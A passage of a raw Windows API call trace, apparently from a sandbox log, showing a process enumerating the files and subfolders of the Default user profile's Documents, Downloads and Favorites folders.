ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.692] GetLastError () returned 0x12 [0125.692] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.692] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0125.692] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.692] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.692] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.694] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.694] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.695] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.695] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.695] GetLastError () returned 0x12 [0125.695] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.697] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.698] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.698] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.698] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.699] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.699] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.699] GetLastError () returned 0x12 [0125.699] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.701] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0125.701] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.701] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.701] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.701] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.702] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.702] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.702] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.702] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.702] GetLastError () returned 0x12 [0125.702] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.702] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.702] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.702] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.702] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.702] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.702] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.703] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.703] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.703] GetLastError () returned 0x12 [0125.703] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.703] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0125.703] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.703] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.703] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.918] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.918] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Links", cAlternateFileName="")) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0125.918] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0125.918] GetLastError () returned 0x12 [0125.918] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.920] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.922] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.922] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.923] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.923] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.923] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.923] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.923] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Links", cAlternateFileName="")) returned 1 [0125.923] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.923] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, 